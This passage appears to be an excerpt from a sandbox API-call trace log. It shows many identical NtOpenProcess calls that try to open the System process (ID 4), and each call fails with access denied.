SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.164] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.165] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.166] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), 